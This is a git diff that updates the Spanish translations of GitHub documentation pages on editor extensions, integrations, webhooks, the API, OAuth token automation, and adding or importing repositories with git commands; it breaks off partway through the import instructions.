-With the {% data variables.product.product_name %} for Atom extension, you can commit, push, pull, resolve merge conflicts, and more from the Atom editor. For more information, see the official [{% data variables.product.product_name %} for Atom site](https://github.atom.io/).
+### {% data variables.product.product_name %} para Atom
 
-### {% data variables.product.product_name %} for Unity
+Con el {% data variables.product.product_name %} para la extensión de Atom, puedes confirmar, subir, extraer, resolver conflictos de fusión y mucho más desde el editor de Atom. Para obtener más información, consulta el [{% data variables.product.product_name %} oficial para el sitio de Atom](https://github.atom.io/).
 
-With the {% data variables.product.product_name %} for Unity editor extension, you can develop on Unity, the open source game development platform, and see your work on {% data variables.product.product_name %}. For more information, see the official Unity editor extension [site](https://unity.github.com/) or the [documentation](https://github.com/github-for-unity/Unity/tree/master/docs).
+### {% data variables.product.product_name %} para Unity
 
-### {% data variables.product.product_name %} for Visual Studio
+Con el {% data variables.product.product_name %} para la extensión del editor de Unity, puedes desarrollar en Unity, la plataforma de código abierto de desarrollo de juegos, y ver tu trabajo en {% data variables.product.product_name %}. Para obtener más información, consulta el [sitio](https://unity.github.com/) oficial de la extensión del editor de Unity o la [documentación](https://github.com/github-for-unity/Unity/tree/master/docs).
 
-With the {% data variables.product.product_name %} for Visual Studio extension, you can work in {% data variables.product.product_name %} repositories without leaving Visual Studio. For more information, see the official Visual Studio extension [site](https://visualstudio.github.com/) or [documentation](https://github.com/github/VisualStudio/tree/master/docs).
+### {% data variables.product.product_name %} para Visual Studio
 
-### {% data variables.product.prodname_dotcom %} for Visual Studio Code
+Con el {% data variables.product.product_name %} para la extensión de Visual Studio, puedes trabajar en los repositorios {% data variables.product.product_name %} sin salir de Visual Studio. Para obtener más información, consulta el [sitio](https://visualstudio.github.com/) oficial de la extensión de Visual Studio o la [documentación](https://github.com/github/VisualStudio/tree/master/docs).
 
-With the {% data variables.product.prodname_dotcom %} for Visual Studio Code extension, you can review and manage {% data variables.product.product_name %} pull requests in Visual Studio Code. For more information, see the official Visual Studio Code extension [site](https://vscode.github.com/) or [documentation](https://github.com/Microsoft/vscode-pull-request-github).
+### {% data variables.product.prodname_dotcom %} para Visual Studio Code
 
-## Project management tools
+Con el {% data variables.product.prodname_dotcom %} para la extensión de Visual Studio Code, puedes revisar y administrar solicitudes de extracción {% data variables.product.product_name %} en Visual Studio Code. Para obtener más información, consulta el [sitio](https://vscode.github.com/) oficial de la extensión de Visual Studio Code o la [documentación](https://github.com/Microsoft/vscode-pull-request-github).
 
-You can integrate your personal or organization account on {% data variables.product.product_location %} with third-party project management tools, such as Jira.
+## Herramientas de gestión de proyectos
 
-### Jira Cloud and {% data variables.product.product_name %}.com integration
+Puedes integrar tu cuenta organizacional o personal en {% data variables.product.product_location %} con herramientas de administración de proyectos de terceros, tales como Jira.
 
-You can integrate Jira Cloud with your personal or organization account to scan commits and pull requests, creating relevant metadata and hyperlinks in any mentioned Jira issues. For more information, visit the [Jira integration app](https://github.com/marketplace/jira-software-github) in the marketplace.
+### Integración de Jira Cloud y {% data variables.product.product_name %}.com
 
-## Team communication tools
+Puedes integrar Jira Cloud con tu cuenta personal o de organización para escanear confirmaciones y solicitudes de extracción, y crear los metadatos e hipervínculos correspondientes en cualquiera de las propuestas de Jira mencionadas. Para obtener más información, visita la [App de integración de Jira](https://github.com/marketplace/jira-software-github) en marketplace.
 
-You can integrate your personal or organization account on {% data variables.product.product_location %} with third-party team communication tools, such as Slack or Microsoft Teams.
+## Herramientas de comunicación para equipos
 
-### Slack and {% data variables.product.product_name %} integration
+Puedes integrar tu cuenta organizacional o personal en {% data variables.product.product_location %} con herramientas de comunicación de equipos de terceros, tales como Slack o Microsoft Teams.
 
-You can subscribe to your repositories or organizations and get realtime updates about issues, pull requests, commits, releases, deployment reviews and deployment statuses. You can also perform activities like close or open issues, and provide rich references to issues and pull requests without leaving Slack. For more information, visit the [Slack integration app](https://github.com/marketplace/slack-github) in the marketplace.
+### Integración con Slack y con {% data variables.product.product_name %}
 
-### Microsoft Teams and {% data variables.product.product_name %} integration
+Puedes suscribirte a tus repositorios u organizaciones y obtener actualizaciones en tiempo real sobre propuestas, solicitudes de cambio, confirmaciones, lanzamientos, revisiones y estados de despliegues. También puedes llevar a cabo actividades como cerrar o abrir propuestas y proporcionar referencias enriquecidas para las propuestas y solicitudes de cambios sin salir de Slack. Para obtener más información, visita la [App de integración de Slack](https://github.com/marketplace/slack-github) en Marketplace.
 
-You can subscribe to your repositories or organizations and get realtime updates about issues, pull requests, commits, deployment reviews and deployment statuses. You can also perform activities like close or open issues, comment on your issues and pull requests, and provide rich references to issues and pull requests without leaving Microsoft Teams. For more information, visit the [Microsoft Teams integration app](https://appsource.microsoft.com/en-us/product/office/WA200002077) in Microsoft AppSource.
+### Microsoft Teams y su integración con {% data variables.product.product_name %}
+
+Puedes suscribirte a tus repositorios u organizaciones y obtener actualizaciones en tiempo real sobre propuestas, solicitudes de cambios, confirmaciones, revisiones y estados de despliegues. También puedes llevar a cabo actividades como cerrar o abrir propuestas, comentar en tus propuestas o solicitudes de cambios y proporcionar referencias enriquecidas para las propuestas y solicitudes de cambios sin salir de Microsoft Teams. Para obtener más información, visita la [App de integración de Microsoft Teams](https://appsource.microsoft.com/en-us/product/office/WA200002077) en Microsoft AppsSource.
diff --git a/translations/es-ES/content/github/extending-github/about-webhooks.md b/translations/es-ES/content/github/extending-github/about-webhooks.md
index 3ebe391ec7..f69078b621 100644
--- a/translations/es-ES/content/github/extending-github/about-webhooks.md
+++ b/translations/es-ES/content/github/extending-github/about-webhooks.md
@@ -1,11 +1,11 @@
 ---
-title: About webhooks
+title: Acerca de webhooks
 redirect_from:
   - /post-receive-hooks
   - /articles/post-receive-hooks
   - /articles/creating-webhooks
   - /articles/about-webhooks
-intro: Webhooks provide a way for notifications to be delivered to an external web server whenever certain actions occur on a repository or organization.
+intro: Los webhooks ofrecen una manera de enviar las notificaciones a un servidor web externo siempre que ciertas acciones ocurran en un repositorio o una organización.
 versions:
   fpt: '*'
   ghes: '*'
@@ -15,17 +15,17 @@ versions:
 
 {% tip %}
 
-**Tip:** {% data reusables.organizations.owners-and-admins-can %} manage webhooks for an organization. {% data reusables.organizations.new-org-permissions-more-info %}
+**Sugerencia:**{% data reusables.organizations.owners-and-admins-can %} administrar webhooks para una organización. {% data reusables.organizations.new-org-permissions-more-info %}
 
 {% endtip %}
 
-Webhooks can be triggered whenever a variety of actions are performed on a repository or an organization. For example, you can configure a webhook to execute whenever:
+Los webhooks se pueden disparar siempre que se realicen una variedad de acciones en un repositorio o una organización. Por ejemplo, puedes configurar tus webhooks para ejecutarse siemrpe que:
 
-* A repository is pushed to
-* A pull request is opened
-* A {% data variables.product.prodname_pages %} site is built
-* A new member is added to a team
+* Se suba a un repositorio.
+* Se abra una solicitud de extracción.
+* Se cree un sitio {% data variables.product.prodname_pages %}.
+* Se agregue un nuevo miembro a un equipo.
 
-Using the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, you can make these webhooks update an external issue tracker, trigger CI builds, update a backup mirror, or even deploy to your production server.
+Al utilizar la API de {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %}, puedes hacer que estos webhooks actualicen un rastreador de propuesta externo, activen compilaciones de IC, actualicen una réplica de respaldo o incluso desplieguen en tu servidor de producción.
 
-To set up a new webhook, you'll need access to an external server and familiarity with the technical procedures involved. For help on building a webhook, including a full list of actions you can associate with, see "[Webhooks](/webhooks)."
+Para configurar un webhook nuevo, necesitarás acceso a un servidor externo y estar familiarizado con los procedimientos técnicos involucrados. Para obtener ayuda para crear un webhook, lo cual incluye un listado completo de las acciones con las que lo puedes asociar, consulta la secicón "[Webhooks](/webhooks)".
diff --git a/translations/es-ES/content/github/extending-github/getting-started-with-the-api.md b/translations/es-ES/content/github/extending-github/getting-started-with-the-api.md
index 3f1a0f8ad3..398aeee8c5 100644
--- a/translations/es-ES/content/github/extending-github/getting-started-with-the-api.md
+++ b/translations/es-ES/content/github/extending-github/getting-started-with-the-api.md
@@ -1,5 +1,5 @@
 ---
-title: Getting started with the API
+title: Comenzar con la API
 redirect_from:
   - /articles/getting-started-with-the-api
 versions:
@@ -7,14 +7,14 @@ versions:
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: Get started API
+shortTitle: API de introducción
 ---
 
-To automate common tasks, back up your data, or create integrations that extend {% data variables.product.product_name %}, you can use the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API.
+Para automatizar tareas comunes, respalda tus datos o crea integraciones que extiendan a {% data variables.product.product_name %}, puedes utilizar la API de {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %}.
 
-For more information about the API, see the [GitHub REST API](/rest) and [GitHub GraphQL API]({% ifversion ghec %}/free-pro-team@latest/{% endif %}/graphql). You can also stay current with API-related news by following the [{% data variables.product.prodname_dotcom %} Developer blog](https://developer.github.com/changes/).
+Para obtener más información acerca de la API, consulta la [API de REST de GitHub](/rest) y la [API de GraphQL de GitHub]({% ifversion ghec %}/free-pro-team@latest/{% endif %}/graphql). También puedes mantenerte actualizado respecto de las novedades relacionadas con la API siguiendo el [{% data variables.product.prodname_dotcom %}Blog del programador](https://developer.github.com/changes/).
 
-## Further reading
+## Leer más
 
-- "[Backing up a repository](/articles/backing-up-a-repository)"{% ifversion fpt or ghec %}
-- "[About integrations](/articles/about-integrations)"{% endif %}
+- "[Respaldar un repositorio](/articles/backing-up-a-repository)"{% ifversion fpt or ghec %}
+- "[Acerca de las integraciones](/articles/about-integrations)"{% endif %}
diff --git a/translations/es-ES/content/github/extending-github/git-automation-with-oauth-tokens.md b/translations/es-ES/content/github/extending-github/git-automation-with-oauth-tokens.md
index e22725a212..067b732f1c 100644
--- a/translations/es-ES/content/github/extending-github/git-automation-with-oauth-tokens.md
+++ b/translations/es-ES/content/github/extending-github/git-automation-with-oauth-tokens.md
@@ -1,48 +1,48 @@
 ---
-title: Git automation with OAuth tokens
+title: Automatización Git con tokens de OAuth
 redirect_from:
   - /articles/git-over-https-using-oauth-token
   - /articles/git-over-http-using-oauth-token
   - /articles/git-automation-with-oauth-tokens
-intro: 'You can use OAuth tokens to interact with {% data variables.product.product_name %} via automated scripts.'
+intro: 'Puedes utilizar tokens de OAuth para interactuar con {% data variables.product.product_name %} a través de scripts automatizados.'
 versions:
   fpt: '*'
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: Automate with OAuth tokens
+shortTitle: Automatizar con tokens de OAuth
 ---
 
-## Step 1: Get an OAuth token
+## Paso 1: Obtener un token de OAuth
 
-Create a personal access token on your application settings page. For more information, see "[Creating a personal access token](/github/authenticating-to-github/creating-a-personal-access-token)."
+Crea un token de acceso personal en tu página de configuración de la aplicación. Para obtener más información, consulta la sección "[Crear un token de acceso personal](/github/authenticating-to-github/creating-a-personal-access-token)".
 
 {% tip %}
 
 {% ifversion fpt or ghec %}
 **Tips:**
-- You must verify your email address before you can create a personal access token. For more information, see "[Verifying your email address](/articles/verifying-your-email-address)."
+- Debes verificar tu dirección de correo electrónico antes de que puedas crer un token de acceso personal. Para obtener más información, consulta "[Verificar tu dirección de correo electrónico](/articles/verifying-your-email-address)".
 - {% data reusables.user_settings.review_oauth_tokens_tip %}
 {% else %}
-**Tip:** {% data reusables.user_settings.review_oauth_tokens_tip %}
+**Sugerencia:** {% data reusables.user_settings.review_oauth_tokens_tip %}
 {% endif %}
 
 {% endtip %}
 
 {% ifversion fpt or ghec %}{% data reusables.user_settings.removes-personal-access-tokens %}{% endif %}
 
-## Step 2: Clone a repository
+## Paso 2: Clonar un repositorio
 
 {% data reusables.command_line.providing-token-as-password %}
 
-To avoid these prompts, you can use Git password caching. For information, see "[Caching your GitHub credentials in Git](/github/getting-started-with-github/caching-your-github-credentials-in-git)."
+Para evadir estos mensajes, puedes utilizar el almacenamiento de contraseñas en caché de Git. Para obtener más información, consulta la sección "[Almacenar tus credenciales de GitHub en caché dentro de Git](/github/getting-started-with-github/caching-your-github-credentials-in-git)".
 
 {% warning %}
 
-**Warning**: Tokens have read/write access and should be treated like passwords. If you enter your token into the clone URL when cloning or adding a remote, Git writes it to your _.git/config_ file in plain text, which is a security risk.
+**Advertencia**: Los tokens tienen acceso de escritura/lectura y deben tratarse como contraseñas. Si ingresas tu token en la URL del clon cuando clonas o agregas un remoto, Git la escribe en tu archivo _.git/config_ como texto plano, lo que representa un riesgo de seguridad.
 
 {% endwarning %}
 
-## Further reading
+## Leer más
 
-- "[Authorizing OAuth Apps](/developers/apps/authorizing-oauth-apps)"
+- "[Autorizar las Apps de OAuth](/developers/apps/authorizing-oauth-apps)"
diff --git a/translations/es-ES/content/github/extending-github/index.md b/translations/es-ES/content/github/extending-github/index.md
index 79a03ace00..44e1a211b9 100644
--- a/translations/es-ES/content/github/extending-github/index.md
+++ b/translations/es-ES/content/github/extending-github/index.md
@@ -1,5 +1,5 @@
 ---
-title: Extending GitHub
+title: Extender GitHub
 redirect_from:
   - /categories/86/articles
   - /categories/automation
diff --git a/translations/es-ES/content/github/importing-your-projects-to-github/importing-source-code-to-github/adding-an-existing-project-to-github-using-the-command-line.md b/translations/es-ES/content/github/importing-your-projects-to-github/importing-source-code-to-github/adding-an-existing-project-to-github-using-the-command-line.md
index 575a38144d..588079753f 100644
--- a/translations/es-ES/content/github/importing-your-projects-to-github/importing-source-code-to-github/adding-an-existing-project-to-github-using-the-command-line.md
+++ b/translations/es-ES/content/github/importing-your-projects-to-github/importing-source-code-to-github/adding-an-existing-project-to-github-using-the-command-line.md
@@ -1,6 +1,6 @@
 ---
-title: Adding an existing project to GitHub using the command line
-intro: 'Putting your existing work on {% data variables.product.product_name %} can let you share and collaborate in lots of great ways.'
+title: Agregar un proyecto existente a GitHub utilizando la línea de comando
+intro: 'Poner tu trabajo existente en {% data variables.product.product_name %} puede permitirte compartir y colaborar de muchas maneras increíbles.'
 redirect_from:
   - /articles/add-an-existing-project-to-github
   - /articles/adding-an-existing-project-to-github-using-the-command-line
@@ -10,74 +10,72 @@ versions:
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: Add a project locally
+shortTitle: Agregar un proyecto localmente
 ---
 
-## About adding existing projects to {% data variables.product.product_name %}
+## Acerca de agregar proyectos existentes a {% data variables.product.product_name %}
 
 {% tip %}
 
-**Tip:** If you're most comfortable with a point-and-click user interface, try adding your project with {% data variables.product.prodname_desktop %}. For more information, see "[Adding a repository from your local computer to GitHub Desktop](/desktop/guides/contributing-to-projects/adding-a-repository-from-your-local-computer-to-github-desktop)" in the *{% data variables.product.prodname_desktop %} Help*.
+**Sugerencia:** Si estás más a gusto con una interfaz de usuario de tipo "apuntar y hacer clic", trata de agregar tu proyecto con {% data variables.product.prodname_desktop %}. Para más información, consulta "[Agregar un repositorio de tu computadora local a GitHub Desktop](/desktop/guides/contributing-to-projects/adding-a-repository-from-your-local-computer-to-github-desktop)" en *{% data variables.product.prodname_desktop %} Ayuda*.
 
 {% endtip %}
 
 {% data reusables.repositories.sensitive-info-warning %}
 
-## Adding a project to {% data variables.product.product_name %} with {% data variables.product.prodname_cli %}
+## Agregar un proyecto a {% data variables.product.product_name %} con {% data variables.product.prodname_cli %}
 
-{% data variables.product.prodname_cli %} is an open source tool for using {% data variables.product.prodname_dotcom %} from your computer's command line. {% data variables.product.prodname_cli %} can simplify the process of adding an existing project to {% data variables.product.product_name %} using the command line. To learn more about {% data variables.product.prodname_cli %}, see "[About {% data variables.product.prodname_cli %}](/github-cli/github-cli/about-github-cli)."
+{% data variables.product.prodname_cli %} es una herramienta de código abierto para utilizar {% data variables.product.prodname_dotcom %} desde la línea de comandos de tu computadora. El {% data variables.product.prodname_cli %} puede simplificar el proceso de agregar un proyecto existente a {% data variables.product.product_name %} utilizando la línea de comandos. Para aprender más sobre el {% data variables.product.prodname_cli %}, consulta la sección "[Acerca del {% data variables.product.prodname_cli %}](/github-cli/github-cli/about-github-cli)".
 
-1. In the command line, navigate to the root directory of your project.
-1. Initialize the local directory as a Git repository.
+1. En la línea de comandos, navega al directorio raíz de tu proyecto.
+1. Inicializar el directorio local como un repositorio de Git.
 
     ```shell
     git init -b main
     ```
 
-1. Stage and commit all the files in your project 
+1. Probar y confirmar todos los archivos en tu proyecto
 
    ```shell
    git add . && git commit -m "initial commit"
    ```
 
-1. To create a repository for your project on GitHub, use the `gh repo create` subcommand. When prompted, select **Push an existing local repository to GitHub** and enter the desired name for your repository. If you want your project to belong to an organization instead of your user account, specify the organization name and project name with `organization-name/project-name`.
- 
-1. Follow the interactive prompts. To add the remote and push the repository, confirm yes when asked to add the remote and push the commits to the current branch.
+1. Para crear un repositorio para tu proyecto en GitHub, utiliza el subcomando `gh repo create`. Cuando se te solicite, selecciona **Subir un repositorio local existente a GitHub** e ingresa el nombre que quieras ponerle a tu repositorio. Si quieres que tu proyecto pertenezca a una organización en vez de a tu cuenta de usuario, especifica el nombre de la organización y del proyecto con `organization-name/project-name`.
 
-1. Alternatively, to skip all the prompts, supply the path to the repository with the `--source` flag and pass a visibility flag (`--public`, `--private`, or `--internal`). For example, `gh repo create --source=. --public`. Specify a remote with the `--remote` flag. To push your commits, pass the `--push` flag. For more information about possible arguments, see the [GitHub CLI manual](https://cli.github.com/manual/gh_repo_create).
+1. Sigue los mensajes interactivos. Para agregar el remoto y subir el repositorio, confirma con "Sí" cuando se te pida agregar el remoto y subir las confirmaciones a la rama actual.
 
-## Adding a project to {% data variables.product.product_name %} without {% data variables.product.prodname_cli %}
+1. Como alternativa, para saltarte todos los mensajes, proporciona la ruta del repositorio con el marcador `--source` y pasa un marcador de visibilidad (`--public`, `--private` o `--internal`). Por ejemplo, `gh repo create --source=. --public`. Especifica un remoto con el marcador `--remote`. Para subir tus confirmaciones, pasa el marcador `--push`. Para obtener más información sobre los argumentos posibles, consulta el [manual del CLI de GitHub](https://cli.github.com/manual/gh_repo_create).
+
+## Agregar un proyecto a {% data variables.product.product_name %} sin el {% data variables.product.prodname_cli %}
 
 {% mac %}
 
-1. [Create a new repository](/repositories/creating-and-managing-repositories/creating-a-new-repository) on {% data variables.product.product_location %}. To avoid errors, do not initialize the new repository with *README*, license, or `gitignore` files. You can add these files after your project has been pushed to {% data variables.product.product_name %}.
-	![Create New Repository drop-down](/assets/images/help/repository/repo-create.png)
+1. [Crear un repositorio nuevo](/repositories/creating-and-managing-repositories/creating-a-new-repository) en {% data variables.product.product_location %}. Para evitar errores, no inicialices el nuevo repositorio con archivos *README* licencia o `gitingnore`. Puedes agregar estos archivos después de que tu proyecto se haya subido a {% data variables.product.product_name %}. ![Desplegable Create New Repository (Crear nuevo repositorio)](/assets/images/help/repository/repo-create.png)
 {% data reusables.command_line.open_the_multi_os_terminal %}
-3. Change the current working directory to your local project.
-4. Initialize the local directory as a Git repository.
+3. Cambiar el directorio de trabajo actual en tu proyecto local.
+4. Inicializar el directorio local como un repositorio de Git.
   ```shell
   $ git init -b main
   ```
-5. Add the files in your new local repository. This stages them for the first commit.
+5. Agregar los archivos a tu nuevo repositorio local. Esto representa la primera confirmación.
   ```shell
   $ git add .
-  # Adds the files in the local repository and stages them for commit. {% data reusables.git.unstage-codeblock %}
+  # Agrega el archivo en el repositorio local y lo presenta para la confirmación. {% data reusables.git.unstage-codeblock %}
   ```
-6. Commit the files that you've staged in your local repository.
+6. Confirmar los archivos que has preparado en tu repositorio local.
   ```shell
   $ git commit -m "First commit"
   # Commits the tracked changes and prepares them to be pushed to a remote repository. {% data reusables.git.reset-head-to-previous-commit-codeblock %}
   ```
-7. At the top of your repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}'s Quick Setup page, click {% octicon "clippy" aria-label="The copy to clipboard icon" %} to copy the remote repository URL.
-	![Copy remote repository URL field](/assets/images/help/repository/copy-remote-repository-url-quick-setup.png)
-8. In Terminal, [add the URL for the remote repository](/github/getting-started-with-github/managing-remote-repositories) where your local repository will be pushed.
+7. En la parte superior de tu repositorio en la página de configuración rápida de {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}, haz clic en {% octicon "clippy" aria-label="The copy to clipboard icon" %} para copiar la URL del repositorio remoto. ![Copiar el campo de URL de repositorio remoto](/assets/images/help/repository/copy-remote-repository-url-quick-setup.png)
+8. En Terminal, [agrega la URL para el repositorio remoto](/github/getting-started-with-github/managing-remote-repositories) donde se subirá tu repositorio local.
   ```shell
   $ git remote add origin <em> &lt;REMOTE_URL> </em>
   # Sets the new remote
   $ git remote -v
   # Verifies the new remote URL
   ```
-9. [Push the changes](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/) in your local repository to {% data variables.product.product_location %}.
+9. [Sube los cambios](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/) en tu repositorio local a {% data variables.product.product_location %}.
   ```shell
   $ git push -u origin main
   # Pushes the changes in your local repository up to the remote repository you specified as the origin
@@ -87,34 +85,32 @@ shortTitle: Add a project locally
 
 {% windows %}
 
-1. [Create a new repository](/articles/creating-a-new-repository) on {% data variables.product.product_location %}. To avoid errors, do not initialize the new repository with *README*, license, or `gitignore` files. You can add these files after your project has been pushed to {% data variables.product.product_name %}.
-	![Create New Repository drop-down](/assets/images/help/repository/repo-create.png)
+1. [Crear un repositorio nuevo](/articles/creating-a-new-repository) en {% data variables.product.product_location %}. Para evitar errores, no inicialices el nuevo repositorio con archivos *README* licencia o `gitingnore`. Puedes agregar estos archivos después de que tu proyecto se haya subido a {% data variables.product.product_name %}. ![Desplegable Create New Repository (Crear nuevo repositorio)](/assets/images/help/repository/repo-create.png)
 {% data reusables.command_line.open_the_multi_os_terminal %}
-3. Change the current working directory to your local project.
-4. Initialize the local directory as a Git repository.
+3. Cambiar el directorio de trabajo actual en tu proyecto local.
+4. Inicializar el directorio local como un repositorio de Git.
   ```shell
   $ git init -b main
   ```
-5. Add the files in your new local repository. This stages them for the first commit.
+5. Agregar los archivos a tu nuevo repositorio local. Esto representa la primera confirmación.
   ```shell
   $ git add .
-  # Adds the files in the local repository and stages them for commit. {% data reusables.git.unstage-codeblock %}
+  # Agrega el archivo en el repositorio local y lo presenta para la confirmación. {% data reusables.git.unstage-codeblock %}
   ```
-6. Commit the files that you've staged in your local repository.
+6. Confirmar los archivos que has preparado en tu repositorio local.
   ```shell
   $ git commit -m "First commit"
   # Commits the tracked changes and prepares them to be pushed to a remote repository. {% data reusables.git.reset-head-to-previous-commit-codeblock %}
   ```
-7. At the top of your repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}'s Quick Setup page, click {% octicon "clippy" aria-label="The copy to clipboard icon" %} to copy the remote repository URL.
-	![Copy remote repository URL field](/assets/images/help/repository/copy-remote-repository-url-quick-setup.png)
-8. In the Command prompt, [add the URL for the remote repository](/github/getting-started-with-github/managing-remote-repositories) where your local repository will be pushed.
+7. En la parte superior de tu repositorio en la página de configuración rápida de {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}, haz clic en {% octicon "clippy" aria-label="The copy to clipboard icon" %} para copiar la URL del repositorio remoto. ![Copiar el campo de URL de repositorio remoto](/assets/images/help/repository/copy-remote-repository-url-quick-setup.png)
+8. En la indicación Command (Comando), [agrega la URL para el repositorio remoto](/github/getting-started-with-github/managing-remote-repositories) donde se subirá tu repositorio local.
   ```shell
   $ git remote add origin <em> &lt;REMOTE_URL> </em>
   # Sets the new remote
   $ git remote -v
   # Verifies the new remote URL
   ```
-9. [Push the changes](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/) in your local repository to {% data variables.product.product_location %}.
+9. [Sube los cambios](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/) en tu repositorio local a {% data variables.product.product_location %}.
   ```shell
   $ git push origin main
   # Pushes the changes in your local repository up to the remote repository you specified as the origin
@@ -124,34 +120,32 @@ shortTitle: Add a project locally
 
 {% linux %}
 
-1. [Create a new repository](/articles/creating-a-new-repository) on {% data variables.product.product_location %}. To avoid errors, do not initialize the new repository with *README*, license, or `gitignore` files. You can add these files after your project has been pushed to {% data variables.product.product_name %}.
-	![Create New Repository drop-down](/assets/images/help/repository/repo-create.png)
+1. [Crear un repositorio nuevo](/articles/creating-a-new-repository) en {% data variables.product.product_location %}. Para evitar errores, no inicialices el nuevo repositorio con archivos *README* licencia o `gitingnore`. Puedes agregar estos archivos después de que tu proyecto se haya subido a {% data variables.product.product_name %}. ![Desplegable Create New Repository (Crear nuevo repositorio)](/assets/images/help/repository/repo-create.png)
 {% data reusables.command_line.open_the_multi_os_terminal %}
-3. Change the current working directory to your local project.
-4. Initialize the local directory as a Git repository.
+3. Cambiar el directorio de trabajo actual en tu proyecto local.
+4. Inicializar el directorio local como un repositorio de Git.
   ```shell
   $ git init -b main
   ```
-5. Add the files in your new local repository. This stages them for the first commit.
+5. Agregar los archivos a tu nuevo repositorio local. Esto representa la primera confirmación.
   ```shell
   $ git add .
-  # Adds the files in the local repository and stages them for commit. {% data reusables.git.unstage-codeblock %}
+  # Agrega el archivo en el repositorio local y lo presenta para la confirmación. {% data reusables.git.unstage-codeblock %}
   ```
-6. Commit the files that you've staged in your local repository.
+6. Confirmar los archivos que has preparado en tu repositorio local.
   ```shell
   $ git commit -m "First commit"
   # Commits the tracked changes and prepares them to be pushed to a remote repository. {% data reusables.git.reset-head-to-previous-commit-codeblock %}
   ```
-7. At the top of your repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}'s Quick Setup page, click {% octicon "clippy" aria-label="The copy to clipboard icon" %} to copy the remote repository URL.
-	![Copy remote repository URL field](/assets/images/help/repository/copy-remote-repository-url-quick-setup.png)
-8. In Terminal, [add the URL for the remote repository](/github/getting-started-with-github/managing-remote-repositories) where your local repository will be pushed.
+7. En la parte superior de tu repositorio en la página de configuración rápida de {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}, haz clic en {% octicon "clippy" aria-label="The copy to clipboard icon" %} para copiar la URL del repositorio remoto. ![Copiar el campo de URL de repositorio remoto](/assets/images/help/repository/copy-remote-repository-url-quick-setup.png)
+8. En Terminal, [agrega la URL para el repositorio remoto](/github/getting-started-with-github/managing-remote-repositories) donde se subirá tu repositorio local.
   ```shell
   $ git remote add origin <em> &lt;REMOTE_URL> </em>
   # Sets the new remote
   $ git remote -v
   # Verifies the new remote URL
   ```
-9. [Push the changes](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/) in your local repository to {% data variables.product.product_location %}.
+9. [Sube los cambios](/github/getting-started-with-github/pushing-commits-to-a-remote-repository/) en tu repositorio local a {% data variables.product.product_location %}.
   ```shell
   $ git push origin main
   # Pushes the changes in your local repository up to the remote repository you specified as the origin
@@ -159,6 +153,6 @@ shortTitle: Add a project locally
 
 {% endlinux %}
 
-## Further reading
+## Leer más
 
-- "[Adding a file to a repository](/repositories/working-with-files/managing-files/adding-a-file-to-a-repository#adding-a-file-to-a-repository-using-the-command-line)"
+- "[Agregar un archivo a un repositorio](/repositories/working-with-files/managing-files/adding-a-file-to-a-repository#adding-a-file-to-a-repository-using-the-command-line)"
diff --git a/translations/es-ES/content/github/importing-your-projects-to-github/importing-source-code-to-github/importing-a-git-repository-using-the-command-line.md b/translations/es-ES/content/github/importing-your-projects-to-github/importing-source-code-to-github/importing-a-git-repository-using-the-command-line.md
index f453e9e87e..34814042da 100644
--- a/translations/es-ES/content/github/importing-your-projects-to-github/importing-source-code-to-github/importing-a-git-repository-using-the-command-line.md
+++ b/translations/es-ES/content/github/importing-your-projects-to-github/importing-source-code-to-github/importing-a-git-repository-using-the-command-line.md
@@ -1,6 +1,6 @@
 ---
-title: Importing a Git repository using the command line
-intro: '{% ifversion fpt %}If [GitHub Importer](/articles/importing-a-repository-with-github-importer) is not suitable for your purposes, such as if your existing code is hosted on a private network, then we recommend importing using the command line.{% else %}Importing Git projects using the command line is suitable when your existing code is hosted on a private network.{% endif %}'
+title: Importar un repositorio de Git usando la línea de comando
+intro: '{% ifversion fpt %}Si [GitHub Importer](/articles/importing-a-repository-with-github-importer) no se ajusta a tus necesidades, por ejemplo, si tu código existente se hospeda en una red privada, entonces te recomendamos importar utilizando la línea de comandos.{% else %}Importar proyectos de Git utilizando la línea de comandos es adecuado cuando tu código existente se encuentra hospedado en una red privada.{% endif %}'
 redirect_from:
   - /articles/importing-a-git-repository-using-the-command-line
   - /github/importing-your-projects-to-github/importing-a-git-repository-using-the-command-line
@@ -9,37 +9,38 @@ versions:
   ghes: '*'
   ghae: '*'
   ghec: '*'
-shortTitle: Import repo locally
+shortTitle: Importar un repositorio localmente
 ---
-Before you start, make sure you know:
 
-- Your {% data variables.product.product_name %} username
-- The clone URL for the external repository, such as `https://external-host.com/user/repo.git` or `git://external-host.com/user/repo.git` (perhaps with a `user@` in front of the `external-host.com` domain name)
+Antes de comenzar, asegúrate de saber lo siguiente:
+
+- Tu nombre de usuario {% data variables.product.product_name %}
+- La URL del clon del repositorio externo, como `https://external-host.com/user/repo.git` o `git://external-host.com/user/repo.git` (quizás con un `user@` adelante del nombre de dominio `external-host.com`)
 
 {% tip %}
 
-For purposes of demonstration, we'll use:
+A los fines de demostración, usaremos lo siguiente:
 
-- An external account named **extuser**
-- An external Git host named `https://external-host.com`
-- A {% data variables.product.product_name %} personal user account named **ghuser**
-- A repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} named **repo.git**
+- Una cuenta externa llamada **extuser**
+- Un host de Git externo llamado `https://external-host.com`
